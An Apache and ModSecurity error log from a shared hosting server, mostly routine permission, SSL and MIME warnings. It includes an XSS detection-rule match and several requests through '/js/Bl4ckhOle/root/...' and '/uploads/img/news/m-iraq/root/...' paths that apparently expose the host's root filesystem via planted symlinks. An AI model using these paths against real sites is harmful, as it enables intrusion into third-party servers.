[Fri Jul 17 09:08:22.854382 2026] [security2:error] [pid 2030955:tid 2030955] [client 40.77.167.123:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:title. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\x98\\xe5\\xb9\\xb4\\xe5\\xba\\xa6\\xe4\\xbb\\x8b\\xe8\\xad\\xb7\\xe6\\x96\\xbd\\xe8\\xa8\\xad\\xe7\\xad\\x89\\xe3\\x81\\xab\\xe5\\xaf\\xbe found within ARGS:title: \\xe4\\xbb\\xa4\\xe5\\x92\\x8c\\xef\\xbc\\x98\\xe5\\xb9\\xb4\\xe5\\xba\\xa6\\xe4\\xbb\\x8b\\xe8\\xad\\xb7\\xe6\\x96\\xbd\\xe8\\xa8\\xad\\xe7\\xad\\x89\\xe3\\x81\\xab\\xe5\\xaf\\xbe\\xe3\\x81\\x99\\xe3\\x82\\x8b\\xe3\\x82\\xb5\\xe3\\x83\\xbc\\xe3\\x83\\x93\\xe3\\x82\\xb9\\xe7\\xb6\\x99\\xe7\\xb6\\x9a\\xe6\\x94\\xaf\\xe6\\x8f\\xb4\\xe4\\xba\\x8b\\xe6\\xa5\\xad"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "www.epid.gov.lk"] [uri "/search"] [unique_id "almjrvwooI4qY7Jg93pXfAAAABM"]
[Fri Jul 17 09:08:22.854634 2026] [security2:error] [pid 2030955:tid 2030955] [client 40.77.167.123:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/search"] [unique_id "almjrvwooI4qY7Jg93pXfAAAABM"]
[Fri Jul 17 09:08:23.527156 2026] [security2:error] [pid 2030955:tid 2030955] [client 40.77.167.123:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almjrvwooI4qY7Jg93pXfAAAABM"]
[Fri Jul 17 09:08:24.414730 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:49582] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:24.796801 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:49614] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:25.341089 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjsbEWOaI5pmYo9fnQqAAAAAA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:08:25.341119 2026] [security2:error] [pid 2019501:tid 2019501] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjsbEWOaI5pmYo9fnQqAAAAAA"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:08:25.779669 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:49646] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:27.038167 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:49676] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:27.955330 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:49704] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:29.231121 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:49750] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:29.714357 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:30.017346 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:30.017428 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:30.017456 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:30.017505 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:30.017532 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:30.017554 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:30.017573 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:30.220528 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:34.026645 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:34.103876 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:34.452909 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:60730] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:34.453003 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:34.536196 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:40.823187 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:32798] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:42.758263 2026] [core:error] [pid 2029866:tid 2029866] (13)Permission denied: [client 57.141.18.71:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory55/subsystem/devices/memory59/subsystem/devices/memory132/subsystem/uevent
[Fri Jul 17 09:08:44.760731 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:46312] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:45.412850 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:46332] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:47.788206 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:47.956387 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:48.005095 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:48.276886 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:48.337427 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:48.490153 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjyI-0g_VSPeIeFN3CeQAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:08:48.490203 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjyI-0g_VSPeIeFN3CeQAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:08:48.631190 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:50.096713 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:50.348830 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:50.364767 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:50.385443 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:50.596930 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:50.793941 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:50.820306 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:50.946476 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:51.017876 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:51.023146 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:51.273390 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:51.346096 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:52.306262 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:52.327092 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:52.375800 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:52.377902 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:52.462909 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:52.623134 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:52.762225 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:53.200055 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:53.302199 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:53.353343 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:53.395142 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:53.483421 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:53.889535 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:41124] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:54.207306 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjzlh1WDijTxd1xw5OQgAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:08:54.207358 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almjzlh1WDijTxd1xw5OQgAAAAc"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:08:54.567504 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:54.687193 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:54.730730 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:54.843969 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:56.439826 2026] [ssl:error] [pid 1993619:tid 1993619] (70014)End of file found: [client 66.85.158.91:41254] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:08:57.317807 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:57.417859 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:57.525662 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:57.625855 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:57.735232 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:57.835904 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:57.936906 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:58.037255 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:08:59.701372 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:41398] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:00.050001 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:41402] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:00.372133 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:00.876265 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:41456] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:01.656321 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:44242] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:04.931724 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:44350] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:06.411729 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:44438] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:07.710124 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:44460] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:07.723572 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:44474] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:08.108296 2026] [security2:error] [pid 1993668:tid 1993668] [client 57.141.18.68:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory21/subsystem/devices/memory12/node0/memory130/"] [unique_id "almj3BAi3pC6yjXGNq2CVQAAAAU"]
[Fri Jul 17 09:09:08.108348 2026] [security2:error] [pid 1993668:tid 1993668] [client 57.141.18.68:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory21/subsystem/devices/memory12/node0/memory130/"] [unique_id "almj3BAi3pC6yjXGNq2CVQAAAAU"]
[Fri Jul 17 09:09:08.499850 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:44512] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:11.209854 2026] [security2:error] [pid 2032156:tid 2032156] [client 57.141.18.94:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory40/node0/memory78/node0/memory69/node0/memory90/"] [unique_id "almj3614q1EBnanVMYGlyQAAAAk"]
[Fri Jul 17 09:09:11.209884 2026] [security2:error] [pid 2032156:tid 2032156] [client 57.141.18.94:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory40/node0/memory78/node0/memory69/node0/memory90/"] [unique_id "almj3614q1EBnanVMYGlyQAAAAk"]
[Fri Jul 17 09:09:11.398314 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:13.583777 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almj4I1dLClkUfK_dfHm4gAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1080&page_105=1517
[Fri Jul 17 09:09:13.583811 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almj4I1dLClkUfK_dfHm4gAAAAI"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1080&page_105=1517
[Fri Jul 17 09:09:17.036647 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:17.087787 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:17.735000 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:17.835480 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:19.060112 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:48738] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:20.434249 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almj6OjME1mgqYZ5O94oNgAAAAE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:09:20.434277 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almj6OjME1mgqYZ5O94oNgAAAAE"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:09:21.212408 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:48892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:22.614513 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:22.716149 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:22.798499 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:22.899214 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:23.102869 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:23.204380 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:23.304272 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:23.404317 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input1/event1/device/subsystem/input5/uevent"] [unique_id "almj6wRRrtuZqNDDSqWx8wAAABo"]
[Fri Jul 17 09:09:23.404359 2026] [security2:error] [pid 2013830:tid 2013830] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/class/input/input1/event1/device/subsystem/input5/uevent"] [unique_id "almj6wRRrtuZqNDDSqWx8wAAABo"]
[Fri Jul 17 09:09:23.506833 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:23.607006 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:25.657426 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:56204] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:27.948280 2026] [ssl:error] [pid 2034024:tid 2034024] (70014)End of file found: [client 66.85.158.91:56328] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:28.118108 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:56336] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:29.358627 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:56404] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:30.100910 2026] [ssl:error] [pid 2013809:tid 2013809] (70014)End of file found: [client 66.85.158.91:56456] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:09:35.964236 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.028334 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.060470 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.161657 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.263337 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.364137 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.465380 2026] [mime:warn] [pid 2013809:tid 2013809] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.568815 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:09:36.677322 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
